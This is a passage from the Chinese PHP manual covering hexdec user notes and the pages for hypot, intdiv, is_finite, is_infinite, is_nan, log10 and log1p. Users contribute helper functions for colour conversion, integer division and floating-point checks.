  if ($num & 16384)   $bit15  = 1;
  if ($num & 8192)    $bit14  = 1;
  if ($num & 4096)    $bit13  = 1;
  if ($num & 2048)    $bit12  = 1;
  if ($num & 1024)    $bit11  = 1;
  if ($num & 512)     $bit10  = 1;
  if ($num & 256)     $bit9   = 1;
  if ($num & 128)     $bit8   = 1;
  if ($num & 64)      $bit7   = 1;
  if ($num & 32)      $bit6   = 1;
  if ($num & 16)      $bit5   = 1;
  if ($num & 8)       $bit4   = 1;
  if ($num & 4)       $bit3   = 1;
  if ($num & 2)       $bit2   = 1;
  if ($num & 1)       $bit1   = 1;

  return ($bit16. $bit15. $bit14. $bit13. $bit12. $bit11. $bit10. $bit9. $bit8. $bit7. $bit6. $bit5. $bit4. $bit3. $bit2. $bit1);
}
Walter Wlodarski 31-Jan-2008 01:33
One of my favourite, multi-purpose, bidirectional solution I wrote many years ago:

function bgr2rgb($cr) {  // bidirectional
    return (($cr & 0x0000FF) << 16 | ($cr & 0x00FF00) | ($cr & 0xFF0000) >> 16);
}

Which you might want to use as :

function hex2cr($hex) {  // strips any leading characters, like #
    return bgr2rgb(hexdec($hex));
}

function cr2hex($cr) { // the usual HTML format, #rrggbb
    return '#'.str_pad(strtoupper(dechex(bgr2rgb($cr))), 6, '0', STR_PAD_LEFT);
}

And, if like me you tend to mistype function names, the synonym :

function rgb2bgr($val) { return bgr2rgb($val); }
maddddidley at yahoo dot com 27-Jan-2008 12:17
Function that combines two rgb colors.

function combineColors($color1, $color2) {

        $color1 = str_replace("#", '', $color1);
        $color2 = str_replace("#", '', $color2);

        $r1 = hexdec(substr($color1, 0, 2));
        $g1 = hexdec(substr($color1, 2, 2));
        $b1 = hexdec(substr($color1, 4, 2));

        $r2 = hexdec(substr($color2, 0, 2));
        $g2 = hexdec(substr($color2, 2, 2));
        $b2 = hexdec(substr($color2, 4, 2));

        $r3 = ceil(($r1 + $r2) / 2);
        $g3 = ceil(($g1 + $g2) / 2);
        $b3 = ceil(($b1 + $b2) / 2);

        $color = rgbhex($r3, $g3, $b3);
        return $color = str_replace("#", '', $color);

    }
Anonymous 13-Nov-2007 08:34
// Fun??o GET Cor Hexadecima e Retorna em RGB
function hexrgb($hexstr, $rgb) {
 $int = hexdec($hexstr);
 switch($rgb) {
        case "r":
        return 0xFF & $int >> 0x10;
            break;
        case "g":
        return 0xFF & ($int >> 0x8);
            break;
        case "b":
        return 0xFF & $int;
            break;
        default:
        return array(
            "r" => 0xFF & $int >> 0x10,
            "g" => 0xFF & ($int >> 0x8),
            "b" => 0xFF & $int
            );
            break;
    }
}// END GET Cor Hex => RGB

//Uso
 echo hexrgb("1a2b3c", r); // 26
 echo hexrgb("1a2b3c", g); // 43
 echo hexrgb("1a2b3c", b); // 60
//ou

var_dump(hexrgb("1a2b3c", rgb)); //array(3) { ["r"]=>  int(26) ["g"]=>  int(43) ["b"]=>  int(60) }
k10206 at naver dot com 27-Oct-2007 09:42
<?
function hexrgb($hexstr) {
    $int = hexdec($hexstr);

    return array("red" => 0xFF & ($int >> 0x10), "green" => 0xFF & ($int >> 0x8), "blue" => 0xFF & $int);
}
?>
Manithu 23-Mar-2007 04:23
This tiny function will return foreground colors (either black or white) in contrast to the color you provide:

<?php

function getContrastColor($color)
{
    return (hexdec($color) > 0xffffff/2) ? '000000' : 'ffffff';
}

?>

This function will return the opposite (negative):

<?php

function negativeColor($color)
{
    //get red, green and blue
    $r = substr($color, 0, 2);
    $g = substr($color, 2, 2);
    $b = substr($color, 4, 2);

    //revert them, they are decimal now
    $r = 0xff-hexdec($r);
    $g = 0xff-hexdec($g);
    $b = 0xff-hexdec($b);

    //now convert them to hex and return.
    return dechex($r).dechex($g).dechex($b);
}

?>
cgarvis at gmail dot com 09-Oct-2006 10:39
Here is my version of hex2rgb for web colors to 24bit colors.

<?php
function hex2rgb_webcolors($hex) {
    $hex = eregi_replace("[^a-fA-F0-9]", "", $hex);
    switch( strlen($hex) ) {
        case 2:
            $hex = substr($hex,0,2)."0000";
            break;
        case 3:
            $hex = substr($hex,0,1).substr($hex,0,1)
            .substr($hex,1,1).substr($hex,1,1)
            .substr($hex,2,1).substr($hex,2,1);
            break;
        case 4:
            $hex = substr($hex,0,4)."00";
            break;
        case 6:
            break;
        default:
            $hex = 0;
            break;
    }
    return hexdec($hex);
}
?>
repley at freemail dot it 28-May-2006 06:55
From color to color to ...... to color with fade effect. Good for dynamic bar chart.

<?php
//MultiColorFade(array hex-colors, int steps)
function MultiColorFade($hex_array, $steps) {

$tot = count($hex_array);
$gradient = array();
$fixend = 2;
$passages = $tot-1;
$stepsforpassage = floor($steps/$passages);
$stepsremain = $steps - ($stepsforpassage*$passages);

   for($pointer = 0; $pointer < $tot-1 ; $pointer++) {

       $hexstart = $hex_array[$pointer];
       $hexend = $hex_array[$pointer + 1];

       if($stepsremain > 0){
           if($stepsremain--){
               $stepsforthis = $stepsforpassage + 1;
           }
       }else{
           $stepsforthis = $stepsforpassage;
       }

       if($pointer > 0){
           $fixend = 1;
       }

       $start['r'] = hexdec(substr($hexstart, 0, 2));
       $start['g'] = hexdec(substr($hexstart, 2, 2));
       $start['b'] = hexdec(substr($hexstart, 4, 2));

       $end['r'] = hexdec(substr($hexend, 0, 2));
       $end['g'] = hexdec(substr($hexend, 2, 2));
       $end['b'] = hexdec(substr($hexend, 4, 2));

       $step['r'] = ($start['r'] - $end['r']) / ($stepsforthis);
       $step['g'] = ($start['g'] - $end['g']) / ($stepsforthis);
       $step['b'] = ($start['b'] - $end['b']) / ($stepsforthis);

       for($i = 0; $i <= $stepsforthis-$fixend; $i++) {

           $rgb['r'] = floor($start['r'] - ($step['r'] * $i));
           $rgb['g'] = floor($start['g'] - ($step['g'] * $i));
           $rgb['b'] = floor($start['b'] - ($step['b'] * $i));

           $hex['r'] = sprintf('%02x', ($rgb['r']));
           $hex['g'] = sprintf('%02x', ($rgb['g']));
           $hex['b'] = sprintf('%02x', ($rgb['b']));

           $gradient[] = strtoupper(implode(NULL, $hex));
       }
   }

   $gradient[] = $hex_array[$tot-1];

return $gradient;
}
//end MultiColorFade()

//start test
$multi_hex_array = array();
$multi_hex_array[] = array('FF0000','FFFF00');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF','000000');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF','000000','FFFFFF');

foreach($multi_hex_array as $hex_array){

   $totcolors = count($hex_array);
   $steps = 44;

   $a = MultiColorFade($hex_array, $steps);
   $tot = count($a);

   $table = '<table border=1 width="300">' . "\n";

   for ($i = 0; $i < $tot; $i++){
       $table .= ' <tr><td bgcolor="' . $a[$i] . '">' . ($i+1) .'</td><td><pre>' . $a[$i] . '</pre></td></tr>' . "\n";
   }

   $table .= '</table><br /><br />';

   echo '<br />Demanded steps = ' . $steps . '<br />';
   echo 'Returned steps = ' . $tot;

   if($steps == $tot){
       echo '<br />OK.' . $steps . ' = ' . $tot . '<br />';
   }else{
       echo '<br /><span style="color:#FF0000">FAILED! Demanded steps and returned steps are NOT equal!: ' . $steps . ' != ' . $tot . '</span><br />';
   }

   echo $table;

}
//end test
?>

Repley.
ayadav at infoprocorp dot com 28-Dec-2005 12:03
From Amit Yadav

Hex to binary conversion

$num = hexdec("20DF");
echo binfromdec($num);

function binfromdec($num)
{
    if ($num > 32766)    return ("Too Large!");
    if ($num & 16384)    $bit15 = 1;
    if ($num & 8192)    $bit14 = 1;
    if ($num & 4096)    $bit13 = 1;
    if ($num & 2048)    $bit12 = 1;
    if ($num & 1024)    $bit11 = 1;
    if ($num & 512)        $bit10 = 1;
    if ($num & 256)        $bit9 = 1;
    if ($num & 128)        $bit8 = 1;
    if ($num & 64)        $bit7 = 1;
    if ($num & 32)        $bit6 = 1;
    if ($num & 16)        $bit5 = 1;
    if ($num & 8)        $bit4 = 1;
    if ($num & 4)        $bit3 = 1;
    if ($num & 2)        $bit2 = 1;
    if ($num & 1)        $bit1 = 1;

    return ("" . $bit15 . $bit14 . $bit13 . $bit12 . $bit11 . $bit10 . $bit9 . $bit8 . $bit7 . $bit6 . $bit5 . $bit4 . $bit3 . $bit2 . $bit1);

}
cory at lavacube dot com 28-Oct-2005 01:59
A handy little function to convert HEX colour codes to "web safe" colours...

<?php

function color_mkwebsafe ( $in )
{
   // put values into an easy-to-use array
   $vals['r'] = hexdec( substr($in, 0, 2) );
   $vals['g'] = hexdec( substr($in, 2, 2) );
   $vals['b'] = hexdec( substr($in, 4, 2) );

   // loop through
   foreach( $vals as $val )
   {
       // convert value
       $val = ( round($val/51) * 51 );
       // convert to HEX
       $out .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT);
   }

   return $out;
}

?>

Example: color_mkwebsafe('0e5c94');
Produces: 006699

Hope this helps someone out... Happy coding. :-)
detrate at hotmail dot com 29-Sep-2005 06:38
I made this for a little phpbb mod.  It was used to take the hex value from the database and make a color 20 (in decimal) less, resulting a darker color.

EXAMPLE: #336699 to #1f5285

<?php

$row1 = "336699"; // color
$c = 20;          // difference value

$rgb = array(substr($row1,0,2), substr($row1,2,2), substr($row1,4,2));

for($i=0; $i < 3; $i++)
{
  if((hexdec($rgb[$i])-$c) >= 0)
  {
   $rgb[$i] = hexdec($rgb[$i])-$c;

   $rgb[$i] = dechex($rgb[$i]);
    if(hexdec($rgb[0]) <= 9)
     $rgb[$i] = "0".$rgb[$i];
  } else {
    $rgb[$i] = "00";
  }
}

$row2 = $rgb[0].$rgb[1].$rgb[2];

?>
Gabriel Reguly 16-Aug-2005 11:24
After esnhexdec from "rledger at gmail dot com",  the esndechex:

<?php
    function esndechex($dec){
         $a = strtoupper(dechex(substr($dec, 1,  2)));
         $b = strtoupper(dechex(substr($dec, 3, 10)));
         return $a . $b;
    }
?>
bishop 04-Jun-2005 07:51
Bullet-proof hex-to-rgb colour converter like brian at sagesport dot com wanted, just far fewer code lines. As a bonus, gives you the ability to return as string or array:

<?php
    function &hex2rgb($hex, $asString = true)
    {
        // strip off any leading #
        if (0 === strpos($hex, '#')) {
            $hex = substr($hex, 1);
        } else if (0 === strpos($hex, '&H')) {
            $hex = substr($hex, 2);
        }

        // break into hex 3-tuple
        $cutpoint = ceil(strlen($hex) / 2)-1;
        $rgb = explode(':', wordwrap($hex, $cutpoint, ':', $cutpoint), 3);

        // convert each tuple to decimal
        $rgb[0] = (isset($rgb[0]) ? hexdec($rgb[0]) : 0);
        $rgb[1] = (isset($rgb[1]) ? hexdec($rgb[1]) : 0);
        $rgb[2] = (isset($rgb[2]) ? hexdec($rgb[2]) : 0);

        return ($asString ? "{$rgb[0]} {$rgb[1]} {$rgb[2]}" : $rgb);
    }
?>

Handles 2, 3, and 6 character colour codes with leading # or &H.
zubfatal, root at it dot dk 25-Mar-2005 02:36
This replaces my previous class.
I've added a few more input checks in the rgb2hex function.
Also it returned incorrect hex values for 1-digit values.

color::rgb2hex(array(0,0,0)) would output 000 not 00000.

<?php

/**
* Convert colors
*
* Usage:
*  color::hex2rgb("FFFFFF")
*  color::rgb2hex(array(171,37,37))
*
* @author      Tim Johannessen <root@it.dk>
* @version     1.0.1
*/

class color {

    /**
     * Convert HEX colorcode to an array of colors.
     * @return      array        Returns the array of colors as array(red,green,blue)
     */

    function hex2rgb($hexVal = "") {
        $hexVal = eregi_replace("[^a-fA-F0-9]", "", $hexVal);
        if (strlen($hexVal) != 6) { return "ERR: Incorrect colorcode, expecting 6 chars (a-f, 0-9)"; }
        $arrTmp = explode(" ", chunk_split($hexVal, 2, " "));
        $arrTmp = array_map("hexdec", $arrTmp);
        return array("red" => $arrTmp[0], "green" => $arrTmp[1], "blue" => $arrTmp[2]);
    }

    /**
     * Convert RGB colors to HEX colorcode
     * @return      string        Returns the converted colors as a 6 digit colorcode
     */
    function rgb2hex($arrColors = null) {
        if (!is_array($arrColors)) { return "ERR: Invalid input, expecting an array of colors"; }
        if (count($arrColors) < 3) { return "ERR: Invalid input, array too small (3)"; }

        array_splice($arrColors, 3);

        for ($x = 0; $x < count($arrColors); $x++) {
            if (strlen($arrColors[$x]) < 1) {
                return "ERR: One or more empty values found, expecting array with 3 values";
            }

            elseif (eregi("[^0-9]", $arrColors[$x])) {
                return "ERR: One or more non-numeric values found.";
            }

            else {
                if ((intval($arrColors[$x]) < 0) || (intval($arrColors[$x]) > 255)) {
                    return "ERR: Range mismatch in one or more values (0-255)";
                }

                else {
                    $arrColors[$x] = strtoupper(str_pad(dechex($arrColors[$x]), 2, 0, STR_PAD_LEFT));
                }
            }
        }

        return implode("", $arrColors);
    }

}

?>
brian at sagesport dot com 22-Mar-2005 09:08
The issue I've seen with the existing hex to dec conversion routines is the lack of error-trapping.  I stick to the theory that one should try to cover ALL the bases when writing a generalized routine such as this one.  I have a varied background that covers a wide variety of design/development languages, on the web as well as desktop apps.  As such I've seen multiple formats for writing hex colors.

For example, the color red COULD be written as follows:
#ff0000
&Hff0000
#ff
&Hff

Therefore I have written a function that is case-insensitive and takes into account the chance that different developers have a tendency to format hex colors in different ways.

<?php
  function convert_color($hex){
    $len = strlen($hex);
    $chars = array("#","&","H","h");
    $hex = strip_chars($hex, $chars);
    preg_match("/([0-9]|[A-F]|[a-f]){".$len."}/i",$hex,$arr);
    $hex = $arr[0];
    if ($hex) {
      switch($len) {
        case 2:
          $red = hexdec($hex);
          $green = 0;
          $blue = 0;
          break;
        case 4:
          $red = hexdec(substr($hex,0,2));
          $green=hexdec(substr($hex,2,2));
          $blue = 0;
          break;
        case 6:
          $red = hexdec(substr($hex,0,2));
          $green=hexdec(substr($hex,2,2));
          $blue = hexdec(substr($hex,4,2));
          break;
      };
      $color[success] = true;
      $color[r] = $red;
      $color[g] = $green;
      $color[b] = $blue;
      return $color;
    } else {
      $color[success] = false;
      $color[error] = "unable to convert hex to dec";
    };
  }

  function strip_chars($string, $char){
    $len = strlen($string);
    $count = count($char);
    if ($count >= 2) {
      for ($i=0;$i<=$count;$i++) {
        if ($char[$i]) {
          $found = stristr($string,$char[$i]);
          if ($found) {
            $val = substr($string,$found+1,$len-1);
            $string = $val;
          };
        };
      };
    } else {
      $found = stristr($string,$char);
      if ($found) {
        $val = substr($string,$found+1,$len-1);
      };
    };
    echo $val;
    return $val;
  }

  /*
    To use simply use the following function call:
      $color = convert_color("#FF");
      this will return the following assoc array if successful:
      *[success] = true
      *[r] = 255
      *[g] = 0
      *[b] = 0

      or copy and paste the following code:

      $hex = "FFFFFF"; // Color White
      $color = convert_color($hex);
      var_dump($color);
 */
?>

As you can see, the function "convert_color" accepts a hex # in most acceptable formats and returns an associative array.  [success] is set to TRUE if the function succeeds and FALSE if not.  The array members [r], [g] and [b] hold the red,green and blue values respectively.  If it fails, [error] holds a custom error message.

"strip_chars" is a support function written to remove the unwanted characters from the hex string, and sends the concatenated string back to the calling function.  It will accept either a single value or an array of values for the characters to remove.
groobo 10-Feb-2005 11:46
It's just a revision to marfastic's ligten_up script, it simply adds/subtracts mod_color to orig_color.
I use it often to adjust tonals rather than brightness only

<?
function mod_color($orig_color, $mod, $mod_color){
    /*
        $orig_color - original html color, hex
        $mod_color - modifying color, hex
        $mod - modifier '+' or '-'
        usage: mod_color('CCCCCC', '+', '000033')
    */
    // does quick validation
    preg_match("/([0-9]|[A-F]){6}/i",$orig_color,$orig_arr);
    preg_match("/([0-9]|[A-F]){6}/i",$mod_color,$mod_arr);
    if ($orig_arr[0] && $mod_arr[0]) {
        for ($i=0; $i<6; $i=$i+2) {
            $orig_x = substr($orig_arr[0],$i,2);
            $mod_x = substr($mod_arr[0],$i,2);
            if ($mod == '+') { $new_x = hexdec($orig_x) + hexdec($mod_x); }
            else { $new_x = hexdec($orig_x) - hexdec($mod_x); }
            if ($new_x < 0) { $new_x = 0; }
            else if ($new_x > 255) { $new_x = 255; };
            $new_x = dechex($new_x);
            $ret .= $new_x;
        }
        return $ret;
    } else { return false; }
}
?>
19-Jan-2005 09:33
I wondered long time what is the best way to generate RGB-color from HEX-color, and just now i found the simpliest way!

<?php
$hex = "FF00FF";
$rgb = hexdec($hex); // 16711935
?>

I hope this will save your time! :)
andreas.schmeiler 05-Feb-2003 05:59
Here's another hex2bin variant, works pretty well to me.

function hex2bin($hexdata) {

   for ($i=0;$i<strlen($hexdata);$i+=2) {
      $bindata.=chr(hexdec(substr($hexdata,$i,2)));
   }

   return $bindata;
}
chrism at four dot net 15-Dec-2001 10:02
hexdec from 4.1.0 onwards does not show
the same size limitation and therefore
works differently with large numbers than previous php versions.

To obtain the same results, use:

(int) hexdec (...)


计算直角三角形的斜边长度

  • ? hexdec
  • intdiv ?
  • PHP Manual
  • Math 函数
  • 计算直角三角形的斜边长度

hypot

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

hypot — 计算直角三角形的斜边长度

说明

hypot(float $x, float $y): float

hypot() 函数将会根据直角三角形的两直角边长度 x 和 y 计算其斜边的长度。或者是坐标点 （x, y）到原点的距离。该函数的算法等同于 sqrt($x*$x + $y*$y)。

参数

x

第一条边的长度

y

第二条边的长度

返回值

计算斜边的长度

User Contributed Notes

Hayley Watson 04-Sep-2017 11:17
If you need a higher-dimensional diagonal length (norm), you can exploit the fact that sqrt(x*x+y*y+z*z) == sqrt(x*x+sqrt(y*y+z*z)). In other words hypot(x, y, z)==hypot(x, hypot(y, z)).

To be generic about it....
<?php

function norm(...$args)
{
    return array_reduce($args, 'hypot', 0);
}

?>
robinv at ecosse dot net 07-Jan-2004 09:18
A simpler approach would be to allow an arbitrary number of parameters. That would allow for whatever number of dimensions you want *and* it would be backwards compatible with the current implementation.

<?php

function hypo()
{
    $sum = 0;
    foreach (func_get_args() as $dimension) {
        if (!is_numeric($dimension)) return -1;
        $sum += pow($dimension, 2);
    }
    return sqrt($sum);
}

print hypo();          // vector in 0 dimensions, magnitude = 0.
print hypo(1);         // vector in 1 dimension,  magnitude = 1.
print hypo(3, 4);       // vector in 2 dimensions, magnitude = 5.
print hypo(2, 3, 6);     // vector in 3 dimensions, magnitude = 7.

?>


对除法结果取整

  • ? hypot
  • is_finite ?
  • PHP Manual
  • Math 函数
  • 对除法结果取整

intdiv

(PHP 7, PHP 8)

intdiv — 对除法结果取整

说明

intdiv(int $num1, int $num2): int

返回 num1 除以 num2 商数的整数部分。

参数

num1

被除数。

num2

除数。

返回值

num1 除以 num2 的商，对该商取整。

错误／异常

如果 num2 是 0，将抛出 DivisionByZeroError 异常。如果 num1 是 PHP_INT_MIN 并且 num2 是 -1，将抛出 ArithmeticError 异常.

示例

Example #1 intdiv() 的一些示例

<?php
var_dump(intdiv(3, 2));
var_dump(intdiv(-3, 2));
var_dump(intdiv(3, -2));
var_dump(intdiv(-3, -2));
var_dump(intdiv(PHP_INT_MAX, PHP_INT_MAX));
var_dump(intdiv(PHP_INT_MIN, PHP_INT_MIN));
var_dump(intdiv(PHP_INT_MIN, -1));
var_dump(intdiv(1, 0));
?>
int(1)
int(-1)
int(-1)
int(1)
int(1)
int(1)

Fatal error: Uncaught ArithmeticError: Division of PHP_INT_MIN by -1 is not an integer in %s on line 8
Fatal error: Uncaught DivisionByZeroError: Division by zero in %s on line 9

参见

  • /——浮点除法
  • %——整数取模
  • fmod()——浮点数取模

User Contributed Notes

oittaa 06-Feb-2022 04:56
Python style integer division, where the result is always rounded towards minus infinity.

1 // 2 is 0
(-1) // 2 is -1
1 // (-2) is -1
(-1) // (-2) is 0

<?php
function intdiv_py(int $num1, int $num2): int{
    if ($num1 < 0 xor $num2 < 0){
        $num1 = abs($num1);
        $num2 = abs($num2);
        $remainder = $num1 % $num2;
        return $remainder ? -1 -($num1 - $remainder) / $num2 : -$num1 / $num2;
    }
    return intdiv($num1, $num2);
}

var_dump(intdiv_py(1, 2)); // 0
var_dump(intdiv_py(-1, 2)); // -1
var_dump(intdiv_py(1, -2)); // -1
var_dump(intdiv_py(-1, -2)); // 0
?>
admin at infis dot net dot ru 23-Oct-2019 01:31
For earler versions PHP you may use:

function intdiv_1($a, $b) {
    $a = (int) $a;
    $b = (int) $b;
    return ($a - fmod($a, $b)) / $b;
}
sree dot millu at gmail dot com 20-Oct-2019 03:01
@AmeenRoss
This does NOT  seem to be equal to intdiv:

<?php
function intdiv_1($a, $b){
    return ($a - $a % $b) / $b;
}
 ?>

See this example code
<?php

$x = 5.6;
$y = 1.4 ;

echo intdiv($x,$y);

    echo "\n";

function intdiv_1($a, $b){
    return ($a - $a % $b) / $b;
}

echo intdiv_1($x,$y);
?>

//Output
5
4
Bubonic dot pestilence at gmail dot com 29-Dec-2015 03:23
<?php

function intdiv_2($a, $b)  {
    $val = $a / $b;
    return ($val < 0 ? "ceil" : "floor") ($val);
}

?>

Aren't this?!
polettog at gmail dot com 31-Jul-2015 09:34
Without intdiv(), the following may be a good way (with $a and $b of type integer and not too big) :
<?php
(int)($a / $b)
?>
because in case of divisible integers, the result will be integer and there is no risk of float appearing round but below their represented value (like the case (0.1+0.7)*10).
$a and $b really needs to be of type integer though.
If they are too big and indivisible, some precision will be lost during the conversion to float and the result may be inaccurate.
AmeenRoss 11-Jul-2015 01:15
This does indeed seem to be equal to intdiv:

<?php
function intdiv_1($a, $b){
    return ($a - $a % $b) / $b;
}
?>

However, this isn't:

<?php
function intdiv_2($a, $b){
    return floor($a / $b);
}
?>

Consider an example where either of the parameters is negative:
<?php
$param1 = -10;
$param2 = 3;
print_r([
    'modulus' => intdiv_1($param1, $param2),
    'floor' => intdiv_2($param1, $param2),
]);

/**
 * Array
 * (
 *     [modulus] => -3
 *     [floor] => -4
 * )
 */
?>
Ts.Saltan 16-Jun-2015 08:53
$a = 57;
$b = 3;

var_dump(
    intdiv($a,$b),
    intdiv_1($a,$b),
    intdiv_2($a,$b)
);

function intdiv_1($a, $b){
    return ($a-$a%$b)/$b;
}

function intdiv_2($a, $b){
    return floor($a/$b);
}
//intdiv($a, $b) == floor($a/$b) == ($a-$a%$b)/$b


判断浮点数是否是有效的有限值

  • ? intdiv
  • is_infinite ?
  • PHP Manual
  • Math 函数
  • 判断浮点数是否是有效的有限值

is_finite

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

is_finite — 判断浮点数是否是有效的有限值

说明

is_finite(float $num): bool

返回指定的 num 是否是有限浮点数。

有限浮点数既不是 NAN（is_nan()）也不是无限的（is_infinite()）。

参数

num

要检查的 float

返回值

如果 num 不是 NAN、INF 或 -INF，那么为 true，否则为 false。

示例

Example #1 is_finite() 示例

<?php
$float = 1.2345;
var_dump($float, is_finite($float));

$nan = sqrt(-1);
var_dump($nan, is_finite($nan));

$inf = 1e308 * 2;
var_dump($inf, is_finite($inf));
?>

以上示例会输出：

float(1.2345)
bool(true)
float(NAN)
bool(false)
float(INF)
bool(false)

参见

  • is_infinite() - 判断浮点数是否为无限值
  • is_nan() - 判断浮点数是否是否为 NAN

User Contributed Notes

Daniel Klein 09-Jul-2017 05:17
(is_finite($float)) is equivalent to (!is_infinite($float) && !is_nan($float)), i.e. a number can only be one of finite, infinite and NaN. You don't need to check both is_infinite() and is_nan() to see if a number is invalid or out of range.

<?php
$finite = 42;
$infinite = log(0);
$nan = acos(2);

var_dump(is_finite($finite), is_infinite($finite), is_nan($finite));  // true, false, false
var_dump(is_finite($infinite), is_infinite($infinite), is_nan($infinite));  // false, true, false
var_dump(is_finite($nan), is_infinite($nan), is_nan($nan)); // false, false, true
?>


判断浮点数是否为无限值

  • ? is_finite
  • is_nan ?
  • PHP Manual
  • Math 函数
  • 判断浮点数是否为无限值

is_infinite

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

is_infinite — 判断浮点数是否为无限值

说明

is_infinite(float $num): bool

返回指定的 num 是否是 INF 或 -INF。

参数

num

要检查的 float

返回值

如果 num 是 INF 或 -INF，返回 true，否则返回 false。

示例

Example #1 is_infinite() 示例

<?php
$inf = 1e308 * 2;

var_dump($inf, is_infinite($inf));

$negative_inf = -$inf;

var_dump($negative_inf, is_infinite($negative_inf));
?>

以上示例会输出：

float(INF)
bool(true)
float(-INF)
bool(true)

参见

  • is_finite() - 判断浮点数是否是有效的有限值
  • is_nan() - 判断浮点数是否是否为 NAN

User Contributed Notes

There are no user contributed notes for this page.


判断浮点数是否是否为 NAN

  • ? is_infinite
  • log10 ?
  • PHP Manual
  • Math 函数
  • 判断浮点数是否是否为 NAN

is_nan

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

is_nan — 判断浮点数是否是否为 NAN

说明

is_nan(float $num): bool

返回指定的 num 是否是 NAN（非数值）。

NAN 是从未定义的数学运算中返回的，例如传递的参数在函数的输入域之外的时候。平方根（sqrt()）仅对正数定义，传递负数将导致 NAN。返回 NAN 的其它操作示例有 INF 除以 INF 以及涉及现有 NAN 值的任何操作。

Note:

尽管名字叫 Not A Number，但 NAN 是有效的 float 类型。

Caution

NAN 不能与 NAN 进行比较。要检测浮点数是否是 NAN，必须使用 is_nan()。使用 $float === NAN 检测将不起作用。

参数

num

要检查的 float

返回值

如果 num 是 NAN，返回 true，否则返回 false。

示例

Example #1 is_nan() 示例

<?php
$nan = sqrt(-1);

var_dump($nan, is_nan($nan));
?>

以上示例会输出：

float(NAN)
bool(true)

参见

  • is_finite() - 判断浮点数是否是有效的有限值
  • is_infinite() - 判断浮点数是否为无限值

User Contributed Notes

ScorpioT1000 22-Apr-2020 10:39
function is_nan2($n) {
    return $n !== $n;
}

is_nan2(NAN); // true
php at darkain dot com 12-Apr-2016 08:49
Starting with PHP 7, the string 'NaN' evaluates to the NaN value as well.

Example:
var_dump( (float) 'NaN' );

PHP 5.x and HHVM:
float(0)

PHP 7.0:
float(NAN)
10basetom 20-May-2015 02:29
I would use is_numeric() instead of ctype_digit() if you cannot be 100% sure what data type the string will be. Example from the docs:

<?php
$numeric_string = '42';
$integer        = 42;

ctype_digit($numeric_string);  // true
ctype_digit($integer);         // false (ASCII 42 is the * character)

is_numeric($numeric_string);   // true
is_numeric($integer);          // true
?>
modern dot apocalypse at gmail dot com 15-Mar-2012 10:14
I have decided to do some testing because I am getting unusual results with the is_nan function and here are the results of my tests:

<?php
var_dump(NAN); // float NAN

var_dump(NAN == NAN); // boolean true
var_dump(NAN === NAN); // boolean true
var_dump(is_nan(NAN)); // boolean true

var_dump(NAN == 12); // boolean true
var_dump(NAN === 12); // boolean false
var_dump(is_nan(12)); // boolean false

var_dump(NAN == 12.4); // boolean true
var_dump(NAN === 12.4); // boolean true
var_dump(is_nan(12.4)); // boolean false

var_dump(NAN == NULL); // boolean true
var_dump(NAN === NULL); // boolean false
var_dump(is_nan(NULL)); // boolean false

var_dump(NAN == 'K<WNPO'); // boolean true
var_dump(NAN === 'K<WNPO'); // boolean false
var_dump(is_nan('K<WNPO')); // null and throws a warning "Warning: is_nan() expects parameter 1 to be double, string given in NANTest.php on line 13"
php at keith tyler dot com 14-Apr-2010 04:46
It seems odd to me, but in boolean context, NAN evalutes to true.

<?php
var_dump(acos(8));
var_dump((bool)acos(8));
?>

Returns:

float(NAN)
bool(true)

Incidentally INF and -INF also evaluate to true.
J.K. 07-Jul-2009 04:44
For seeing whether or not something is a number, use ctype_digit().
darkangel at moveinmod dot net 01-Mar-2006 10:04
nan/"not a number" is not meant to see if the data type is numeric/textual/etc..

NaN is actually a set of values which can be stored in floating-point variables, but dont actually evaluate to a proper floating point number.

The floating point system has three sections: 1 bit for the sign (+/-), an 8 bit exponent, and a 23 bit fractional part.
There are rules governing which combinations of values can be placed into each section, and some values are reserved for numbers such as infinity. This leads to certain combinations being invalid, or in other words, not a number.


以 10 为底的对数

  • ? is_nan
  • log1p ?
  • PHP Manual
  • Math 函数
  • 以 10 为底的对数

log10

(PHP 4, PHP 5, PHP 7, PHP 8)

log10 — 以 10 为底的对数

说明

log10(float $num): float

返回参数 num 以 10 为底的对数。

参数

num

要处理的参数

返回值

num 以 10 为底的对数。

参见

  • log() - 自然对数

User Contributed Notes

There are no user contributed notes for this page.


返回 log(1 + number)，甚至当 number 的值接近零也能计算出准确结果

  • ? log10
  • log ?
  • PHP Manual
  • Math 函数
  • 返回 log(1 + number)，甚至当 number 的值接近零也能计算出准确结果

log1p

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

log1p — 返回 log(1 + number)，甚至当 number 的值接近零也能计算出准确结果

说明

log1p(float $num): float

log1p() 返回 log(1 + num)，甚至当
num 的值接近零也能计算出准确结果。log()
在这种情况下，可能由于缺乏精度只返回 log(1)。

参数

num

要处理的参数

返回值

log(1 + num)

参见

  • expm1() - 返回 exp($num) - 1，甚至当 number 的值接近零也能计算出准确结果
  • log() - 自然对数
  • log10() - 以 10 为底的对数

User Contributed Notes

11-Sep-2002 02:29
Note that the benefit of this function for small argument values is lost if PHP is compiled against a C library that that not have builtin support for the log1p() function.

In this case, log1p() will be compiled by using log() instead, and the precision of the result will be identical to log(1), i.e. it will always be 0 for small numbers.
Sample log1p(1.0e-20):
- returns 0.0 if log1p() is approximated by using log()
- returns something very near from 1.0e-20, if log1p() is supported by the underlying C library.

One way to support log1p() correctly on any platform, so that the magnitude of the expected result is respected:

function log1p($x) {
return ($x>-1.0e-8 && $x<1.0e-8) ? ($x - $x*$x/2) : log(1+$x);
}

If you want better precision, you may use a better limited development, for small positive or negative values of x:

log(1+x) = x - x^2/2 + x^3/3 - ... + (-1)^(n-1)*x^n/n + ...

(This serial sum converges only for values of x in [0 ... 1] inclusive, and the ^ operator in the above formula means the exponentiation operator, not the PHP xor operation)

Note that log1p() is undefined for arguments lower than or equal to -1, and that the implied base of the log function is the Neperian "e" constant.


自然对数

